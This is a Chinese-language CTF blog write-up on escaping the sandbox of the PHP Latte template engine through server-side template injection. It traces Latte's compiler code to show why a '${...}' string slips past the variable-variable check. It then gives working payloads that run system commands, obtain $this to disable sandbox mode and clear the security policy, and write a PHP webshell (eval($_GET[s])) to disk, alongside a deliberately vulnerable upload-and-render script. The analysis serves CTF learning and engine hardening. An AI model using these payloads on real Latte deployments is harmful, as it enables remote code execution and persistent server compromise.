Latte-SSTI-Payloads总结

TL;DR

最近西湖论剑有一道使用Latte的题目,当时我也是用的偷鸡办法做的,当时时间限制就没有仔仔细细的去寻找逃逸的办法。

直到赛后我发现逃逸的办法很简单

1
{="${system('nl /flag')}"}

这里使用的是php的基础语法,我就不过多赘述了。这个复杂变量网上也有很多文章。

赛后我无聊的时候简单看了下Latte,找了点后续的利用,比如获取$this变量,还有任意代码执行。然后发现网上关于这个引擎的文章很少,就来水一篇吧。

”${}“ Bypass

我粗略的读了下Latte,其实Latte确实是对$$和${}进行了检测的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//PhpWriter.php
public function sandboxPass(MacroTokens $tokens): MacroTokens{
......
elseif ($tokens->isCurrent('$')) { // $$$var or ${...}
throw new CompileException('Forbidden variable variables.');

}
......
else { // $obj->$$$var or $obj::$$$var
$member = $tokens->nextAll($tokens::T_VARIABLE, '$');
$expr->tokens = $op === '::' && !$tokens->isNext('(')
? array_merge($expr->tokens, array_slice($member, 1))
: array_merge($expr->tokens, $member);
}

......


}

从给的注释和报错的异常也能看出来,这里通过前面的词法,语法分析出来的token在检测形容${},$$var这样的结构。

如果你直接在模板里书写${$xx}确实会报上面哪个异常

但是如果使用”${xxx}”,可能在前面词法,语法分析就会认为这是个定义的字符串,根本不会进入这里的sandboxPass方法了

可以从一个尽量精简的例子来看看后续的流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
 <?php
//这是index.php
require 'vendor/autoload.php';
$latte = new Latte\Engine;
$latte->setTempDirectory('tempdir');
$policy = new Latte\Sandbox\SecurityPolicy;
$policy->allowMacros(['block', 'if', 'else','=']);
$policy->allowFilters($policy::ALL);
$policy->allowFunctions(['trim', 'strlen']);
$latte->setPolicy($policy);
$latte->setSandboxMode();
$latte->setAutoRefresh(true);

if(isset($_FILES['file'])){
$uploaddir = '/var/www/html/tempdir/';
$filename = basename($_FILES['file']['name']);
if(stristr($filename,'p') or stristr($filename,'h') or stristr($filename,'..')){
die('no');
}
$file_conents = file_get_contents($_FILES['file']['tmp_name']);
if(strlen($file_conents)>28 or stristr($file_conents,'<')){
die('no');
}
$uploadfile = $uploaddir . $filename;

if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
$message = $filename ." was successfully uploaded.";
} else {
$message = "error!";
}

$params = [
'message' => $message,
];
$latte->render('tempdir/index.latte', $params);
}
else if($_GET['source']==1){
highlight_file(__FILE__);
}
else{
$latte->render('tempdir/index.latte', ['message'=>'Hellow My Glzjin!']);
}
1
2
3
4
/*这是index.latte*/
<ul>
{="${eval('echo \'pwn!\';')}"}
</ul>

1

调用栈张这样,光从名字来看应该还是挺清晰的

主要看看buildClassBody方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
private function buildClassBody(array $tokens){
......
$macroHandlers = new \SplObjectStorage;

if ($this->macros) {
array_map([$macroHandlers, 'attach'], array_merge(...array_values($this->macros)));
}

foreach ($macroHandlers as $handler) {
$handler->initialize($this);
}

foreach ($tokens as $this->position => $token) {
if ($this->inHead && !(
$token->type === $token::COMMENT
|| $token->type === $token::MACRO_TAG && ($this->flags[$token->name] ?? null) & Macro::ALLOWED_IN_HEAD
|| $token->type === $token::TEXT && trim($token->text) === ''
)) {
$this->inHead = false;
}
$this->{"process$token->type"}($token);
}
......

在上面哪个示范中,$this->{“process$token->type”}($token);当$token->type=MacroTag时,调用的就是$this->processMacroTag($token);

主要来看看这个MacroTag的处理过程,因为这个MacroTag就代表{="${eval('echo \'pwn!\';')}"}

1
2
3
4
5
6
private function processMacroTag(Token $token): void{
......
//对于这个标签,因为情况比较简单,直接就是来到这里
$node = $this->openMacro($token->name, $token->value, $token->modifiers, $isRightmost);
......
}
1
2
3
4
5
6
7
8
9
10
11
public function openMacro(
string $name,
string $args = '',
string $modifiers = '',
bool $isRightmost = false,
string $nPrefix = null
): MacroNode {
......
$node = $this->expandMacro($name, $args, $modifiers, $nPrefix);
......
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public function expandMacro(string $name, string $args, string $modifiers = '', string $nPrefix = null): MacroNode{
if (empty($this->macros[$name])){//先判断是否存在这个macros
......
}
$modifiers = (string) $modifiers;//获取修饰符 感觉就是类似|过滤器吧
.......
.......
foreach (array_reverse($this->macros[$name]) as $macro) {
$node = new MacroNode($macro, $name, $args, $modifiers, $this->macroNode, $this->htmlNode, $nPrefix);//前面一堆蜜汁操作(因为调的时候前面很多分支没进入,就不管了),终于开始建立这个节点
$node->context = $context;
$node->startLine = $nPrefix ? $this->htmlNode->startLine : $this->getLine();
if ($macro->nodeOpened($node) !== false) {
return $node;
}
}
}

来到MacroSet的nodeOpened(这里是CoreMacros继承的MacroSet方法)然后调用了MacroSet的compile方法,对于本例会来到CoreMacros的macroExpr,通过这个方法上面的注释也能明白这里是在准备编译表达式,在准备将表达式打印的语句编译出来。

1
nodeOpened(MacroNode $node) -> compile(MacroNode $node, $def)->macroExpr(MacroNode $node, PhpWriter $writer)

然后来到PhpWriter的write方法

1
2
3
4
5
6
7
8
/**
* Expands %node.word, %node.array, %node.args, %node.line, %escape(), %modify(), %var, %raw, %word in code.
* @param mixed ...$args
*/
public function write(string $mask, ...$args): string
......
//这整个PhpWriter其实都在干一件事就是去生成一个类似于格式化字符串的结果
//对于本例,当格式化参数的时候,会一路调用到PhpWritersandboxPass方法

在PhpWriter的sandboxPass方法中,会根据目前他拿到的tokens来做判断(虽然初始化PhpWriter的时候,传给他的tokens属性的变量叫tokenizer,实际上传过去的是是当时哪个节点对于分词器的一个包装)

1
2
3
4
....
elseif ($tokens->isCurrent('$')) { // $$$var or ${...}
throw new CompileException('Forbidden variable variables.');
....

2

可以看到这里如果使用$tokens->isCurrent(‘$’)自然而然获取到的是"${eval(xxxxxx)}"并不是一个$的token。

所以就绕过了sandbox。

底层的原理也很简单,其实就是Latte的解析并没有与php一致。也就是说Latte认为这就是在输出一个字符串而已,但是最后生成的php文件中,这确实是一个符合语法规则的复杂变量。

How to get $this

模板沙盒逃逸一般大家第一步都喜欢去寻找一些内置变量一类,看看有没有什么操作的空间。但是Latte我粗略的看了下官方文档,好像没有内置变量。直接使用$this会直接被ban。

这里我当时看到了一个过滤器sort

1
2
3
4
You can pass your own comparison function as a parameter:

{var $sorted = ($names|sort: fn($a, $b) => $b <=> $a)}
//这是官方的例子

这样的东西看起来就很危险,而且最后是会编译成php文件的,所以我猜测自定义匿名函数的代码片段最后生成到php文件时不会产生太大的变化。我当时试了试在匿名函数里面定义一个没用的变量。在最后编译生成的php文件里,我也确实看到了我定义的变量。所以我就觉得这个地方是有操作空间的。

如果你直接准备再这里进行函数调用会被直接拦下来的,静态调用过不了编译。动态调用因为上文提到的sandboxPass方法,会进行以下转换比如

1
trim("phpinfo\t")();  => $this->call(trim("phpinfo\t"))();

其中$this变量是一个Latte\Runtime\Template的对象,他的这个call其实就是在检测白名单,并且适配了php的几种动态调用的形式,比如数组之类的。

我水平有限也无法规避Latte对动态调用这样的转换。(可能可以使用类似mxss的思路去规避?)

所以我就还是准备使用”${}”看看能否获得$this变量

1
2
3
4
5
6
7
8
9
  <li>{=["this","siebene"]|sort: function ($a,$b)  {  

"${is_string(${$a}->getEngine()->setSandboxMode(false))}";
"${is_string(${$a}->getEngine()->setPolicy(null))}";

}}</li>
/*
这里有个小细节就是为了避免对象转为字符串报致命错误提前中断,我使用了`is_string`来将对象间接转成可以接受的形式。
*/

发现还是挺简单的,我就拿到了$this变量,并且关闭了沙盒还有清空了策略。

Another RCE Payloads

有兴趣看的话,感觉payload应该还是会有挺多的

1
2
3
   <li>{=["this","siebene"]|sort: function ($a,$b)  {  		
"${is_string(${$a}->call(function (){ file_put_contents('sie.php','<?php eval($_GET[s]);');phpinfo(); })())}";
}}</li>